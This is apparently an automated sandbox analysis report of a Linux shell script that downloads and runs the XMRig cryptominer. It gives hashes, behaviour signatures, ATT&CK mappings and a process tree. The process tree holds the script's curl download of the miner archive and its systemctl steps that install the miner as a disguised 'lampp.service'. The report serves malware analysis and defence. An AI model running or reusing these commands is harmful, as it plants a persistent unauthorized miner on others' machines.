Analysis

  • max time kernel
    1s
  • max time network
    132s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 12:13

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1393
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1396
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1397
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1400
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1401
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1442
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:1443
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:1444
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:1444
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:1444
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:1444
                      • /usr/bin/rm
                        2⤵
                          PID:1445
                        • /usr/bin/sed
                          2⤵
                            PID:1446
                          • /root/lampp/xmrig
                            2⤵
                            • Executes dropped EXE
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            • Reads runtime system information
                            PID:1447
                          • /usr/bin/sed
                            2⤵
                            • Reads runtime system information
                            PID:1452
                          • /usr/bin/cut
                            2⤵
                              PID:1451
                            • /usr/bin/hostname
                              2⤵
                                PID:1450
                              • /usr/bin/sed
                                2⤵
                                  PID:1453
                                • /usr/bin/sed
                                  2⤵
                                    PID:1454
                                  • /usr/bin/sed
                                    2⤵
                                      PID:1455
                                    • /usr/bin/sed
                                      2⤵
                                        PID:1456
                                      • /usr/bin/sed
                                        2⤵
                                          PID:1457
                                        • /usr/bin/sed
                                          2⤵
                                            PID:1458
                                          • /usr/bin/sed
                                            2⤵
                                              PID:1459
                                            • /usr/bin/cp
                                              2⤵
                                                PID:1460
                                              • /usr/bin/sed
                                                2⤵
                                                  PID:1461
                                                • /usr/bin/cat
                                                  2⤵
                                                    PID:1462
                                                  • /usr/bin/chmod
                                                    2⤵
                                                      PID:1463
                                                    • /usr/bin/sudo
                                                      2⤵
                                                        PID:1464
                                                        • /usr/bin/true
                                                          3⤵
                                                            PID:1465
                                                        • /usr/bin/awk
                                                          2⤵
                                                            PID:1468
                                                          • /usr/bin/grep
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1467
                                                          • /usr/bin/cat
                                                            2⤵
                                                              PID:1469
                                                            • /usr/bin/sudo
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:1470
                                                              • /usr/bin/mv
                                                                3⤵
                                                                  PID:1471
                                                              • /usr/bin/sudo
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:1472
                                                                • /usr/bin/killall
                                                                  killall xmrig
                                                                  3⤵
                                                                  • Reads runtime system information
                                                                  PID:1473
                                                              • /usr/bin/sudo
                                                                sudo systemctl daemon-reload
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:1474
                                                                • /usr/bin/systemctl
                                                                  systemctl daemon-reload
                                                                  3⤵
                                                                  • Reads EFI boot settings
                                                                  • Enumerates kernel/hardware configuration
                                                                  • Reads runtime system information
                                                                  PID:1475
                                                              • /usr/bin/sudo
                                                                sudo systemctl enable lampp.service
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:1514
                                                                • /usr/bin/systemctl
                                                                  systemctl enable lampp.service
                                                                  3⤵
                                                                  • Reads EFI boot settings
                                                                  • Enumerates kernel/hardware configuration
                                                                  • Reads runtime system information
                                                                  PID:1515
                                                              • /usr/bin/sudo
                                                                sudo systemctl start lampp.service
                                                                2⤵
                                                                  PID:1541
                                                                  • /usr/bin/systemctl
                                                                    systemctl start lampp.service
                                                                    3⤵
                                                                    • Reads EFI boot settings
                                                                    • Enumerates kernel/hardware configuration
                                                                    • Reads runtime system information
                                                                    PID:1543

                                                              Network

                                                              MITRE ATT&CK Matrix ATT&CK v13

                                                              Defense Evasion

                                                              Virtualization/Sandbox Evasion

                                                              2
                                                              T1497

                                                              Discovery

                                                              Virtualization/Sandbox Evasion

                                                              2
                                                              T1497

                                                              System Information Discovery

                                                              3
                                                              T1082

                                                              Command and Control

                                                              Web Service

                                                              1
                                                              T1102

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              • /root/lampp/config.json
                                                                Filesize

                                                                2KB

                                                                MD5

                                                                f3294129e6b76283965ad86a815bf383

                                                                SHA1

                                                                5fe0ab538f86962efe82cb13fc2da745610740af

                                                                SHA256

                                                                578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                                SHA512

                                                                07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                              • /root/lampp/sed3LHqm8
                                                                Filesize

                                                                2KB

                                                                MD5

                                                                8b11b027dd187104473ee7d661ffe25f

                                                                SHA1

                                                                ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                                SHA256

                                                                984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                                SHA512

                                                                1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                              • /root/lampp/sed6Uy9G4
                                                                Filesize

                                                                2KB

                                                                MD5

                                                                d489ddbbb83271e967b8af615d17d3c7

                                                                SHA1

                                                                f0394a367a60e9727269882154098dec802774ef

                                                                SHA256

                                                                5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                                SHA512

                                                                aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                              • /root/lampp/sedGRDCjE
                                                                Filesize

                                                                2KB

                                                                MD5

                                                                3a3d7a865028f9cff2b0d11665b87909

                                                                SHA1

                                                                63091cb0d50b4f436c344522c376dda050ff5f92

                                                                SHA256

                                                                112f1341713048ab70977fc5851dd65cdb1471770155ad34cee7f0e7f74239a7

                                                                SHA512

                                                                994085d4389720c11b53a3e8e593695722350a338c6520e10472f2fa611393440cbfff3b3d0bebb2ed08f0b2b1aca9906c6e192dcba0aab3dbd6283ce312c354

                                                              • /root/lampp/sedNey8Dt
                                                                Filesize

                                                                2KB

                                                                MD5

                                                                c258ef9a87458d5c66dc4d9ce44e1c11

                                                                SHA1

                                                                317387c3fb08a240e381fe3e15b2a790ed033ddc

                                                                SHA256

                                                                04e1f7b5584d219e9448ba3f2e1a87d65e3945937c98744bc50db3dbad605b19

                                                                SHA512

                                                                3236b90d4dfd4bc73c33c95b94dc591e6208e933a4937270878af1d4ff21b255a55974cb83b203a004d9ca792680e681f3aee6641255da607b1507f80605ccbb

                                                              • /root/lampp/sedZy2Hzc
                                                                Filesize

                                                                2KB

                                                                MD5

                                                                76e153a17b6674ec1f6887a9079f2107

                                                                SHA1

                                                                0d1d36233cdf0a2eb41a932f1d87f9d5e4427429

                                                                SHA256

                                                                671c30360363843da8dd7c6c1fb08f4bd65379709912d8e22c492b0fdc3d3b1c

                                                                SHA512

                                                                a61d760916f4d8f0e6a1c7b7aee5924e2bc8dfa1e64760430d17059bf368fb26803a08664d2ce8f1cc465ab31732a0f284acf3a600c3a93871c537981e54bf42

                                                              • /root/lampp/sedfrBhwy
                                                                Filesize

                                                                2KB

                                                                MD5

                                                                cb99a61a745bce05fe77c93787231e6a

                                                                SHA1

                                                                d095f55c891ae583f4469139214f5daa73dd5033

                                                                SHA256

                                                                2d4f548de0ff2104c6fe8b0ab99b9275a44d27411043f4e2817d6e7e2c1769aa

                                                                SHA512

                                                                08912ad2f20776ec1050efd9f7883efb2548dc232bf248ae338106569bfaac35780a95eaa6b86b5199e6c0bb6c36bc77e114555d53969b70f1f784250f8f2ad8

                                                              • /root/lampp/xmrig
                                                                Filesize

                                                                8.4MB

                                                                MD5

                                                                3096abd6f112f09cb0f2323bb0cdf738

                                                                SHA1

                                                                60864de65232fe4a385910163b1948941f3a9599

                                                                SHA256

                                                                c17e168c22f3fb8774f60bafc55aafc5657f6e30958936b789e69fa7a14752bc

                                                                SHA512

                                                                2b52596dd3c4ba1b39f606439c982cca04b882f53e1eb1ee6048778d9a2caed8f58e943529f1cdbb2013b8ea450f1f114d4f9ed916ea0afa265c84eff763e5c6

                                                              • /tmp/lampp.service
                                                                Filesize

                                                                177B

                                                                MD5

                                                                540c899b78585827e807a62f7345eaf5

                                                                SHA1

                                                                8bf3146889c6b15811f226bff9fbca24d184eff2

                                                                SHA256

                                                                b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                                SHA512

                                                                0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                              • /tmp/sh-thd.FxMqyM
                                                                Filesize

                                                                253B

                                                                MD5

                                                                f96a321a262287ceae164f23f232ed9c

                                                                SHA1

                                                                d1eeab41f244b42377afd7cc3de7428736162b24

                                                                SHA256

                                                                f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                                SHA512

                                                                75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                              • /tmp/xmrig.tar.gz
                                                                Filesize

                                                                3.4MB

                                                                MD5

                                                                e003a3ec8bdd61151a61cadf950502c4

                                                                SHA1

                                                                2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                                SHA256

                                                                80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                                SHA512

                                                                ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9